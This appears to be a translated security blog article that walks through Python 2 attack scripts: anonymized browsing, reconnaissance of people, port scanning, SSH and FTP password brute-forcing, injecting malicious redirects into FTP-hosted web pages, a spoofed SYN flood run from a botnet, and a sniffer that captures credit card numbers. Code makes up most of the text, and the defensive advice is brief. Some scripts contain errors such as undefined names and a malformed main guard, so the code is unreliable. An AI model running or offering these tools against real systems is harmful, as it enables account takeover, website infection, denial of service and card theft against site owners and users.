3

With such a developed network today, attacks are everywhere, and the success of each attack often results in information leakage, and even economic losses in severe cases. Therefore, as technicians, each of us should understand a little bit of offense and defense; although this cannot completely protect personal privacy, it is still helpful to enhance personal security awareness.

Maybe everyone thinks that offense and defense is a very mysterious thing that requires advanced technology (PS: This is also true, because it usually involves privacy, and everyone will definitely not talk about privacy every day), but our purpose is not to become a Hacker, Of course, it is not to become a script kid, but to understand how to protect yourself in the complex network environment, so that you will not run around naked in the Internet world all day long without knowing it.

To understand attack and defense, we must first choose our own language tools. Python has simple syntax and rich third-party libraries, which is very suitable as our preferred language (the examples in this article will be written in Python 2.x syntax). Mac comes with Python. Of course, we can build a more professional system. BackTrack is a good choice. This system provides a lot of tools for network analysis, penetration testing, wireless attacks, etc.

Now that the tools are available, let's explore step by step what attackers do in the network?

hide whereabouts

A good attacker will first hide his whereabouts when launching an attack! We all know that we use web browsers when visiting websites, and there are many means to record user information, such as IP, User-Agent, Cookie, etc., when interacting with the target website through the browser. Professional attackers need to erase this information, so that the visited website does not know who they are; here we do not go through a web browser, but directly use the mechanize library to access the website, we need:

Anonymize IP via VPN, Tor network or proxy server ( get proxy )

 import mechanize
def hideIp(url, proxy):
    browser = mechanize.Browser() # 创建浏览器对象
    browser.set_proxies(proxy) # 此处使用代理隐匿
    page = browser.open(url) # 打开网址
    source_code = page.read() # 读取网页内容
    print source_code # 输出内容
url = 'xxxxx'
hideProxy = {'http': 'xxx.xxx.xxx.xxx:xxxx'}
hideIp(url, hideProxy)

Directly forge UA to hide User-Agent related information ( valid UA string )

 import mechanize
def hideUA(url, userAgent):
    browser = mechanize.Browser() # 创建浏览器对象
    browser.addheaders = userAgent # 修改 UA 头部信息
    page = browser.open(url) # 打开网址
    source_code = page.read() # 读取网页内容
    print source_code # 输出内容
url = 'xxxxx'
userAgent = [('User-agent', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')]
hideIp(url, hideProxy)

Continue to visit the address after clearing the browser cookies (this can be achieved with the Python core library Cookielib)

 import mechanize, cookielib
def hideCookie(url, cookieJar):
    browser = mechanize.Browser() # 创建浏览器对象
    browser.set_cookiejar(cookieJar) # 修改 Cookie
    page = browser.open(url) # 打开网址
    source_code = page.read() # 读取网页内容
    print source_code # 输出内容
url = 'xxxxx'
cookie_jar = cookielib.LWPCookieJar()
hideIp(url, cookie_jar)

In order to facilitate subsequent information collection, we integrate the hidden code to form the safeBrowser class:

 import mechanize, cookielib, random
class safeBrowser(mechanize.Browser):
    def __init__(self, proxies = [], user_agents = []): # 初始化
        mechanize.Browser.__init__(self)
        self.set_handle_robots(False)
        self.proxies = proxies
        self.user_agents = user_agents + ['Mozilla/4.0 FireFox/6.01', 'ExactSearch', 'Nokia7110/1.0']
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
        self.anonymize()
    def chear_cookies(self): # 清理 cookie
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
    def change_user_agent(self): # 修改 UA
        index = random.randrange(0, len(self.user_agents))
        self.addheaders = [('User-agent', (self.user_agents[index]))]
    def change_proxy(self): # 修改代理
        if self.proxies:
            index = random.randrange(0, len(self.proxies))
            self.set_proxies({'http': self.proxies[index]})
    def anonymize(self, sleep = False):
        self.chear_cookies()
        self.change_user_agent()
        self.change_proxy()
        if sleep: # 进程休眠,控制两次请求之间时间间隔,可以有效降低服务器认为是同一行为的可能性
            time.sleep(60)

Of course, there are many more hidden methods (TTL forgery, fast-flux, domain-flux, etc.), which will not be repeated here.

collect information

After hiding the whereabouts of the individual, the attacker will obtain all the information related to the attack target from the perspective of social engineering (such as: the person with authority, the system with weak lateral security, etc.), because the more comprehensive the information, the more helpful the attack. Success; of course, it does not exclude the information collection (such as resource crawler, network fraud, etc.) of attackers for indiscriminate attacks.

Generally, when we think of information collection, everyone's first reaction must be google or baidu. Search engines can indeed help us find a lot of useful information, but manual search will be less efficient. Fortunately, such engines provide search interfaces for use. Take google as an example:

 import json, urllib
from safeBrowser import * # 引入上面定义的 safeBrowser 类
def getInfo(search_key):
    browser = safeBrowser()
    search_key = urllib.quote_plus(search_key) # 编码搜索关键字
    res = browser.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=' + search_key)
    resObj = json.load(res) # json 格式化数据
    print resObj
getInfo('test')

In this way, we can obtain a JSON object of relevant information through keywords. If only a certain part of the information is needed, we can parse the object accurately.

Sometimes it is also important to get the information posted by the target group on some social platforms, such as the Twitter platform, which also provide APIs for developers to use, such as we want to get the information someone posted on Twitter:

 import json, urllib
from safeBrowser import *
class reconPerson:
    def __init__(self, first_name, last_name, job='', social_media={}):
        self.firset_name = firset_name
        self.last_name = last_name
        self.job = job
        self.social_media = social_media
    def __repr__(self):
        return self.firset_name + ' ' + self.last_name + ' has job ' + self.job
    def get_social(self, media_name):
        if self.social_media.has_key(media_name):
            return self.social_media[media_name]
        return None
    def query_twitter(self, search_key):
        search_key = urllib.quote_plus(search_key)
        browser = safeBrowser()
        res = browser.open('http://search.twitter.com/serarch.json?q=' + query)
        resObj = json.load(response)
        return resObj
recon = reconPerson('xxx', 'xxx')
print recon.query_twitter('from:xxx since: 2022-03-14 include: xxx')

In addition to the above information, other information is also very important, such as: the public network ip corresponding to the target company, legal person information, etc., and the mac address corresponding to the ip. There are many platforms on the Internet that can be queried for such information (such as: enterprise check ), everyone You can search online by yourself.

attack

After the attacker has the relevant information, the next step is to launch an attack, which is also the step that everyone is most concerned about; let's take a look at several common attack methods.

Investigation & Credential Stuffing

Assuming that we only know the IP of the target server now, if we want to launch an attack, we need to know more information, such as: open ports, information about the server used, etc. If we find that some insecure ports are open on the server or the deployed service is a vulnerable version, we can launch an attack directly. Investigate scripts such as:

 import optparse # 命令行参数解析
import socket # BSD 嵌套字访问
from socket import *
from threading import Thread # 多线程
def connScan(host, port): # 执行扫描
    try:
        conn = socket(AF_INET, SOCK_STREAM)
        conn.connect((host, port)) # 连接服务
        conn.send('xxx\r\n') # 发送数据以获取服务器响应
        res = conn.recv(100) # 获取响应前 100 字符
        print '[+]%d/tcp open' %port
        print '[+] ' + str(res)
    except:
        print '[-]%d/tcp closed' %port
def protScan(host, ports):
    try:
        ip = gethostbyname(host) # 根据 host 获取 ip
    except:
        print "[-] Cannot resolve '%s': Unknown host" %host
        return
    try:
        name = gethostbyaddr(ip) # 获取主机信息
        print '\n[+] Scan Results for: ' + name[0]
    except:
        print '\n[+] Scan Results for: ' + ip
    setdefaulttimeout(1) # 设置超时,防止响应时间过长导致程序卡住
    for port in ports:
        print 'Scanning port ' + port
        thr = Thread(target=connScan, args=(host, int(port))) # 开启多线程扫描
        thr.start()
def main():
    # 定义参数
    parser = optparse.OptionParser("usage%prog -H <target host> -P <target port>")
    parser.add_option('-H', dest='host', type='string', help='target host')
    parser.add_option('-P', dest='port', type='string', help='target port[s]')
    # 参数解析
    (options, args) = parser.parse_args()
    host = options.host
    ports = str(options.port).split(',')
    if (host == None) | (ports[0] == None):
        print '[-] You must specify a target host and port[s].'
        exit(0)
    portScan(host, ports)
if __name__ == '__main__':
    main()

In this way, we can complete the detection of the target with a simple command: python portScan.py -H xx.xx.xx.xx -P 21,80,443. Of course, we have a more convenient tool library for reconnaissance: python-nmap , which frees us to manually define the script reconnaissance process.

The above detection methods can sometimes directly find system vulnerabilities. However, we prefer to directly obtain higher permissions (for example, directly execute instructions after connecting to the server). On weak password machines, we can directly use the form of credential stuffing. Attempt to crack the password. We need to pay attention: there is usually an interactive process when making an SSH connection. For example, after entering SSH user@host, we will first confirm the RSA, and then ask for a password. We may need to use the Pexpect or Pxssh library to complete the entire interaction & library bumping Process:

 import pxssh
import optparse
import time # 时间控制
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections) # 连接加锁,防止结果乱序
Found = False
Fails = 0

def send_command(s, cmd): # 撞库成功后向服务器发送指令
    s.sendline(cmd)
    s.prompt()
    print s.before

def conn(host, user, password, release): # 发起连接
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e): # SSH 服务器被大量连接刷爆,过一段时间重新发起
            Fails += 1
            time.sleep(5) # 手动延迟
            conn(host, user, password, False)
        elif 'synchronize with original prompt' in str(e): # pxssh 命令提示符提取困难,过一会重新发起
            time.sleep(1) # 手动延迟
            conn(host, user, password, False)
        finally:
            if release:
                connection_lock.release() # 释放锁
def main():
    # 定义参数
    parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <password list>")
    parser.add_option('-H', dest='host', type='string', help='target host')
    parser.add_option('-u', dest='user', type='string', help='the user')
    parser.add_option('-F', dest='passwordFile', type='string', help='password file') # 密码字典
    # 参数解析
    (options, args) = parser.parse_args()
    host = options.host
    user = options.user
    passwordFile = options.passwordFile
    if host == None or passwordFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(passwordFile, 'r') # 打开密码字典
    for line in fn.readlines():
        if Found: # 找到密码
            print "[*] Exiting: Password Found"
            exit(0)
        if Fails > 10: # 超时过多
            print "[!] Exiting: Too Many Socket Timeouts"
            exit(0)
        connection_lock.acquire() # 线程加锁
        password = line.strip('\r').strip('\n') # 取密码库中的一行数据
        t = Thread(target=conn, args=(host, user, password, True))
        child = t.start()
if __name__ == '__main__':
    main()

Now, as long as there is a "password dictionary", a credential stuffing attack can be launched directly (attackers will have their own password dictionary). Once credential stuffing is successful, an executable command can be initiated through the send_command method. Credential stuffing can be used not only to brute force server passwords, but also to decrypt encrypted files, user passwords and other data.

Therefore, we usually use different passwords for different websites when setting passwords, and make the password entropy as high as possible!

Since our brute force cracking will continuously send login instructions to the server, if the target server is deployed with an IDS (intrusion detection system), it is still easy to find out, and the attack can be directly prevented by IPS (intrusion prevention system) .

Viral infection

Smart hunters often prefer to sit back and wait for users to visit by attacking some vulnerable websites or directly constructing a website with viruses. Once a user initiates access, they can use a reverse connection to the visitor's host to open a connection backdoor or inject a virus to continue to spread to make it available to attackers. Suppose an attacker launches an attack against an FTP service:

 import ftplib
import optparse
import time
def anonLogin(hostname): # FTP 允许匿名访问时随便伪造一个用户登陆
    try:
        ftp = ftp.FTP(hostname)
        ftp.login('anonymous', 'test@test.com')
        print '\n[*] ' + str(hostname) + ' FTP Anonymous Login Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) + ' FTP Anonymous Login Failed.'
        return False
def bruteLogin(hostname, passwordFile): # FTP 不允许匿名登陆,采用前面用过的暴力破解
    file = open(passwordFile, 'r')
    for line in file.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) + 'FTP Login Succeeded: ' + userName + '/' + passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
def returnDefault(ftp): # 找出 FTP 服务器上部署的所有 .php、.html、.asp 文件
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.html' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
            retList.append(fileName)
    return retList
def injectPage(ftp, page, redirect): # 将找出的文件下载并写入重定向地址后重新上传,等待用户访问重定向后的恶意页面
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
def attact(username, password, tgtHost, redirect): # 攻击执行
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
def main():
    # 定义参数
    parser = optparse.OptionParser("usage%prog -H <target host[s]> -r <redirect page> [-f <userpass file>]")
    parser.add_option('-H', dest='hosts', type='string', help='target hosts')
    parser.add_option('-r', dest='redirect', type='string', help='redirection page')
    parser.add_option('-f', dest='passwordFile', type='string', help='user/password file') # 密码字典
    # 参数解析
    (options, args) = parser.parse_args()
    hosts = options.host
    redirect = options.redirect
    passwordFile = options.passwordFile
    if hosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in hosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = anonymous
            password = 'test@test.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
        elif passwordFile != None:
            (username, password) = bruteLogin(tgtHost, passwordFile)
            if password != None:
                print '[+] Using Creds: ' + username + '/' + password + 'to attack'
                attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
    main()

Metasploit can help quickly create malicious servers and pages (reverse SSH connections can be established), which is what we need to redirect. In this way, once we break the FTP service on a certain server, we can wait for the user to access, and then the virus can be spread and the host can be controlled after the user initiates the access.

Therefore, it is recommended that you do not visit some web pages that are obviously virus-containing, and you need to close them immediately if they are opened accidentally.

Network attacks

The previous virus infection can make our host grabbed by the attacker and become a "meat machine" for their use. The attacker with the meat machine can instruct the meat machine to launch DDos and other attacks, so that the target site cannot respond. We use Scapy to construct packets (other network attacks only need to forge corresponding packets according to the attack characteristics) and command the meat machine to launch a SYN flood attack:

Implant the attack script in the meat machine:

 from scapy.all import *
def synFlood(src, tgt):
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)
src="xxxxx"
tgt="xxxxx"
synFlood(src, tgt)

Connect the meat machine to execute the command:

 import optparse
import Pxssh
btoNet = []

class Client:
    def __init__(self, host, user, password): # 初始化
        self.host = host
        self.user = user
        self.password = password
        self.session = self.conn()
    def conn(self): # 连接机器
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
    def send_command(self, cmd): # 发送命令
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
def botnetCommand(cmd):
    for client in botNet:
        output = client.send_command(cmd)
def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)
addClient('xxxxx', 'xx', 'xx') # 添加肉机
addClient('xxxxx', 'xx', 'xx')
addClient('xxxxx', 'xx', 'xx')
addClient('xxxxx', 'xx', 'xx')
botnetCommand('python synFlood.py') # 使肉机批量执行命令

In order to prevent your host from being crawled as a meat machine, it makes sense to perform full virus scans on a regular basis.

wireless attack

Attackers can also conduct attacks by directly eavesdropping on wireless signals, such as listening to the 802.11 protocol suite (the IEEE standard for wireless local area networks). Once a user connects to the free wireless local area network provided by the attacker, the information sent in it will be easily stolen.

aircrack-ng can help attackers crack wireless 802.11 WEP and WAP-PSK encryption, combined with promiscuous mode (eg: airmon-ng start wlan0 to change the wireless network card wlan0 to promiscuous mode) sniffing network cards (eg: CSR's chipsets) ) to sniff the information. Again we use Scapy for sniffing and analysis.

 import re # 正则库
import optparse
from scapy.all import *
def findCreditCard(pkt): # 匹配报文中的卡号信息
    row = pkt.sprintf('%Row.load%')
    americaRE = re.findall('3[47][0-9]{13}', row)
    if americaRE:
        print '[+] Found American Express Card: ' + americaRE[0]
def main():
    parser = optparse.OptionParser("usage%prog -i <interface>")
    parser.add_option('-i', dest='interface', type='string', help='interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface # 绑定嗅探用网卡
    try:
        print '[*] Starting Credit Card Sniffer.'
        sniff(filter='tcp', prn=findCreditCard, store=0) # 只嗅探 tcp 报文
    except:
        exit(0)
if __name__ == '__main__':
    main()

It can be seen from this that if you connect to some free public local area networks, you may face the risk of being attacked. And wireless attacks can do much more than just write examples. It can also see where you have been, what devices you have used, what sensitive information you have sent, and even control cars and no one after cracking some interaction protocols. machine etc.

In order to avoid information leakage, please do not connect to unknown wireless networks at will.

Investigation

Through continuous learning, everyone can have the ability to attack; but what we want to emphasize is: please strictly abide by the laws and regulations of the country, do not have bad thoughts, often walk by the river, how can you not wet your shoes! As long as the attacker leaves clues in the network, there will be the risk of being traced and discovered, such as:

  • User-related information may be recorded in some file metadata, and we may have heard:

    • The floppy disk BTK sent to KSAS TV contained a Test.A.rtf file with a physical address recorded in the file's metadata that led to BTK's capture
    • The army does not allow soldiers to use mobile phones because information such as unknown coordinates is recorded in the metadata of files such as photos, which leads to the detection of troops.
  • As mentioned earlier, there are many fields in the website that record user information (such as IP, etc.), in addition to the above, databases such as SQLite may also have some information
  • The system registry may also contain user information, such as: HKEY_LOCAL_MACHINE\SOFT-WARE\Microsoft\Window NT\CurrentVersion\ProfileList\<SID>\ProfileImagePath stores the exact user name corresponding to the SID
  • ...

Let's look at an example of forensics: use the Dpkt traffic analysis tool to parse the data packets received on the server, obtain the IP address from the data packets, and finally query the corresponding coordinates through GeoLiteCity :

 import dpkt # 流量分析工具,功能类似前面用到的 scapy
import pygeoip # ip 转坐标
import socket
gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def getRecord(tgt):
    rec = gi.record_by_name(tgt)
    city = rec['city'] # 城市
    region = rec['region_name'] # 地区
    country = rec['country_name']
    long = rec['longitude'] # 经度
    lat = rec['latitude'] # 纬度
    return str(city) + ',' + str(region) + ',' + str(country) + '[Latitude:' + str(lat) + 'Longitude:' + str(long) + ']'
def printPcap(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = scoket.inet_ntoa(ip.src)
            dst = scoket.inet_ntoa(ip.dst)
            print '[+] Src:' + getRecord(src) + ' ---> Dst:' + getRecord(dst)
        except:
            pass
def main():
    f = open('test.pcap') # 打开 test.pcap 报文
    pcap = dpkt.pcap.Reader(f) # 读取报文
    printPcap(pcap)
def __name__ == '__main__':
    main()

At this point, we should have a general understanding of common attacks, and finally recommend some URLs for safe learning:

Author: ES2049 / Merlion

The article can be reproduced at will, but please keep the original link .
You are very welcome to join ES2049 Studio with passion. Please send your resume to caijun.hcj@alibaba-inc.com .


ES2049
3.7k 声望3.2k 粉丝